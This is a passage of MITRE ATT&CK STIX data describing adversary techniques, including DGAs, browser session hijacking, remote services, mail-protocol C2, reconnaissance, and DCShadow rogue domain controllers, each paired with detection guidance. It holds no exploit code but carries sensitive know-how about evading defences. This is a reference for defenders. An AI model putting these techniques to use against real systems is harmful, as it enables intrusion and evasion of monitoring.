non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Windows Registry: Windows Registry Key Modification","File: File Modification"],"x_mitre_defense_bypassed":["Application control","Autoruns Analysis","Digital Certificate Validation","User Mode Signature Validation"],"x_mitre_permissions_required":["SYSTEM","Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Sylvain Gil, Exabeam","Barry Shteiman, Exabeam","Ryan Benson, Exabeam"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--54456690-84de-4538-9101-643e26437e09","type":"attack-pattern","created":"2019-02-18T17:22:57.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1483","url":"https://attack.mitre.org/techniques/T1483"},{"source_name":"Cybereason Dissecting DGAs","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf","description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."},{"source_name":"Cisco Umbrella DGA","url":"https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/","description":"Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019."},{"source_name":"Unit 42 DGA Feb 2019","url":"https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/","description":"Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."},{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"source_name":"Akamai DGA Mitigation","url":"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html","description":"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","source_name":"FireEye POSHSPY April 2017"},{"source_name":"ESET Sednit 2017 Activity","url":"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/","description":"ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."},{"source_name":"Data Driven Security DGA","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."},{"source_name":"Pace University Detecting DGA May 2017","url":"http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf","description":"Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."},{"source_name":"Elastic Predicting DGA","url":"https://arxiv.org/pdf/1611.00791.pdf","description":"Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."}],"modified":"2020-11-10T18:28:56.957Z","name":"Domain Generation Algorithms","description":"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Justin Warner, ICEBRG"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1185","external_id":"T1185"},{"url":"https://en.wikipedia.org/wiki/Man-in-the-browser","description":"Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.","source_name":"Wikipedia Man in the Browser"},{"url":"https://www.cobaltstrike.com/help-browser-pivoting","description":"Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.","source_name":"Cobalt Strike Browser Pivot"},{"url":"https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses","description":"De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.","source_name":"ICEBRG Chrome Extensions"},{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"}],"modified":"2022-02-25T18:58:15.229Z","name":"Browser Session Hijacking","description":"Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Logon Session: Logon Session Creation","Process: Process Access"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Dan Borges, @1njection"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","type":"attack-pattern","created":"2017-05-31T21:30:29.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1021","url":"https://attack.mitre.org/techniques/T1021"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"source_name":"SSH Secure Shell","url":"https://www.ssh.com/ssh","description":"SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020."},{"url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","source_name":"TechNet Remote Desktop Services"},{"source_name":"Remote Management MDM macOS","url":"https://support.apple.com/en-us/HT209161","description":"Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021."},{"source_name":"Kickstart Apple Remote Desktop commands","url":"https://support.apple.com/en-us/HT201710","description":"Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021."},{"source_name":"Apple Remote Desktop Admin Guide 3.3","url":"https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf","description":"Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021."},{"source_name":"FireEye 2019 Apple Remote Desktop","url":"https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html","description":"Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021."},{"source_name":"Lockboxx ARD 2019","url":"http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html","description":"Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021."},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."}],"modified":"2022-03-28T16:07:45.017Z","name":"Remote Services","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Network Share: Network Share Access","Command: Command Execution","Network Traffic: Network Connection Creation","Module: Module Load","Network Traffic: Network Traffic Flow","Logon Session: Logon Session Creation"],"x_mitre_system_requirements":["Active remote service accepting connections and valid credentials"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","type":"attack-pattern","created":"2020-03-15T16:21:45.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1071.003","url":"https://attack.mitre.org/techniques/T1071/003"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-10-21T16:35:45.633Z","name":"Mail Protocols","description":"Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","type":"attack-pattern","created":"2020-10-02T16:55:16.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1595.002","url":"https://attack.mitre.org/techniques/T1595/002"},{"source_name":"OWASP Vuln Scanning","url":"https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning","description":"OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:20:09.446Z","name":"Vulnerability Scanning","description":"Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","type":"attack-pattern","created":"2020-10-02T16:56:05.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596","url":"https://attack.mitre.org/techniques/T1596"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."},{"source_name":"Medium SSL Cert","url":"https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2","description":"Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020."},{"source_name":"SSLShopper Lookup","url":"https://www.sslshopper.com/ssl-checker.html","description":"SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."},{"source_name":"DigitalShadows CDN","url":"https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/","description":"Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."},{"source_name":"Shodan","url":"https://shodan.io","description":"Shodan. (n.d.). Shodan. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:50:44.308Z","name":"Search Open Technical Databases","description":"Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1207","url":"https://attack.mitre.org/techniques/T1207"},{"url":"https://www.dcshadow.com/","description":"Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.","source_name":"DCShadow Blog"},{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"},{"url":"https://github.com/shellster/DCSYNCMonitor","description":"Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.","source_name":"GitHub DCSYNCMonitor"},{"url":"https://msdn.microsoft.com/en-us/library/ms677626.aspx","description":"Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.","source_name":"Microsoft DirSync"},{"url":"https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html","description":"Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.","source_name":"ADDSecurity DCShadow Feb 2018"}],"modified":"2022-03-08T21:20:04.850Z","name":"Rogue Domain Controller","description":"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","User Account: User Account Authentication","Active Directory: Active Directory Object Creation","Network Traffic: Network Traffic Content"],"x_mitre_defense_bypassed":["Log analysis"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Abel Morales, Exabeam"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","type":"attack-pattern","created":"2021-04-23T01:04:57.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1553.006","url":"https://attack.mitre.org/techniques/T1553/006"},{"source_name":"Microsoft DSE June 2017","url":"https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN","description":"Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021."},{"source_name":"Apple Disable SIP","url":"https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection","description":"Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021."},{"source_name":"Microsoft Unsigned Driver Apr 2017","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test","description":"Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021."},{"source_name":"Microsoft TESTSIGNING Feb 2021","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option","description":"Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021."},{"source_name":"FireEye HIKIT Rootkit Part 2","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html","description":"Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."},{"source_name":"GitHub Turla Driver Loader","url":"https://github.com/hfiref0x/TDL","description":"TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021."},{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Unit42 AcidBox June 2020","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/","description":"Reichel, D. and Idrizovic, E. (2020, June 